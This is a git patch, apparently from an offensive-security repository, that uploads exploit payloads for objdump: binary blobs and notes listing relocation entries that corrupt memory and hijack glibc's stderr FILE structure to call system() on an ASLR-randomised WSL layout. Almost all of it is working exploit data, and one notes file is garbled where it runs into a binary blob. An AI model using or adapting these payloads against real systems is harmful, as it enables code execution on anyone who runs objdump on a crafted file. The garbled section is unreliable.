From bc36ed31aeb28f9212545a3ee182904df1d3f2a1 Mon Sep 17 00:00:00 2001 From: Church of Malware <3+ek0ms@noreply.git.churchofmalware.org> Date: Mon, 29 Jun 2026 16:57:49 +0000 Subject: [PATCH] Upload files to "objdump-dlx-calc-poc/payloads" --- ...aslr_wsl2404_f05_b6f300000_s6f43e6ff.notes | 34 ++++++++++++++++++ ...c_aslr_wsl2404_f05_b6f300000_s7042e500.bin | Bin 0 -> 1280 bytes ...aslr_wsl2404_f05_b6f300000_s7042e500.notes | 34 ++++++++++++++++++ ...c_aslr_wsl2404_f05_b6f300000_s7043e4ff.bin | Bin 0 -> 1280 bytes ...aslr_wsl2404_f05_b6f300000_s7043e4ff.notes | 34 ++++++++++++++++++ 5 files changed, 102 insertions(+) create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s6f43e6ff.notes create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s7042e500.bin create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s7042e500.notes create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s7043e4ff.bin create mode 100644 objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s7043e4ff.notes diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s6f43e6ff.notes b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s6f43e6ff.notes new file mode 100644 index 0000000..ada2a44 --- /dev/null +++ b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s6f43e6ff.notes @@ -0,0 +1,34 @@ +layout=wsl2404 +flag_byte4=0x05 +buf_delta=0x6f300000 +wide_delta=0x4fff0000 +system_delta=0x6f43e6ff +command=P +off_io=-0x3690 off_sec=0xbb0 rbase=0x220 +sec_size_offset=0x38 + +000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2 +001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3 +002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690 +003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2 +004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3 +005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690 +006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8 +007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8 +008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec +009 target=0xbec sym=0x000000ff finish write bytes at 0xbec +010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2 +011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3 +012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable +013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2 +014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3 +015 target=-0x3628 sym=0x6f43e6ff FILE+0x68 _IO_2_1_stderr_ -> system +016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2 +017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3 +018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data +019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2 +020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3 +021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow +022 target=0x0 sym=0x00000000 pad R_DLX_NONE +023 target=0x0 sym=0x00000000 pad R_DLX_NONE +024 target=0x0 sym=0x00000000 pad R_DLX_NONE diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s7042e500.bin b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s7042e500.bin new file mode 100644 index 0000000000000000000000000000000000000000..eb0f225ae2be3a6e884d62ccefde92d483d2dcc5 GIT binary patch literal 1280 zcmd5*%}N_l7(J7T`B78T#HMNsE-JJTh~9~<7AY;3)QiN71C{QnV@h9Qquo zL!U#R!~0ii*ACh!ZPu#$TN^uj-x?^jYV|&@55Kp+R#DRJmXF&(6rAxcATuUAyytTB zWv0Rv#z_j%d7LNb9qFzxm#4z{$GaeNMwBgeygn0C+%gx!gJrRnbxJb8%~ALKGMmMK b6J*)Te5`w+{|JA#EXkfO_Ze?`+&}w29TtA0 literal 0 HcmV?d00001 diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s7042e500.notes b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s7042e500.notes new file mode 100644 index 0000000..dd5f145 --- /dev/null +++ b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s7042e500.notes @@ -0,0 +1,34 @@ +layout=wsl2404 +flag_byte4=0x05 +buf_delta=0x6f300000 +wide_delta=0x4fff0000 +system_delta=0x7042e500 +command=P +off_io=-0x3690 off_sec=0xbb0 rbase=0x220 +sec_size_offset=0x38 + +000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2 +001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3 +002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690 +003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2 +004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3 +005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690 +006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8 +007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8 +008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec +009 target=0xbec sym=0x000000ff finish write bytes at 0xbec +010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2 +011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3 +012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable +013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2 +014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3 +015 target=-0x3628 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system +016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2 +017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3 +018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data +019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2 +020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3 +021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow +022 target=0x0 sym=0x00000000 pad R_DLX_NONE +023 target=0x0 sym=0x00000000 pad R_DLX_NONE +024 target=0x0 sym=0x00000000 pad R_DLX_NONE diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s7043e4ff.bin b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s7043e4ff.bin new file mode 100644 index 0000000000000000000000000000000000000000..8ab15f39345a5c409de89094f2b838e8e80ce07a GIT binary patch literal 1280 zcmd5*%}QHA7(F*P8e`O^rdqWH7YY@G)Vc8&DGE{*DnxK0=t2ypRg5NNBG^@5!I$XD z_8naM_W*eSK|$ZZ#qIg-PjWL0>C%Cj^PTgZ`(lhMfZ+Kr-5IY3yBoHeB@ucfsm4P)bP?@y zpj+?{&?DcS0dH*9P627^@h;%4=yjl1^g|#cdI@+({W=ZwiGBn0i+&5d7kw2Ni1}AH z7~J4cfFEAGQ5K8*FWeaq#SbjFu1k#f`aI4!$`h!M{*B~24S%=c=f3eA@n;Nwzu_M= z@*j=-u#q1z@}J5RRGRxAH~gOsf3C807d_vM;h#7B3wd!j>n|Dp6~q6HT<$fz&pcxp zA>Z(6gKxHQJprwt9q1hNB=i*YH1rJgEc6^xl4f4fpy*JvD0&o4iY`T)qR*kvkvjA_ z^f`Qg*;?_mhU{LkaPnj4;P`tP*=n)W!u8Li+HL_^U90-IA4I_({|BVUWQOltUcU5H zIKntVA=;0#~${NUg$63@8%@g)a5 FILE fake wide vtable +013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2 +014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3 +015 target=-0x3628 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system +016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2 +017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3 +018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data +019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2 +020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3 +021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow +022 target=0x0 sym=0x00000000 pad R_DLX_NONE +023 target=0x0 sym=0x00000000 pad R_DLX_NONE +024 target=0x0 sym=0x00000000 pad R_DLX_NONE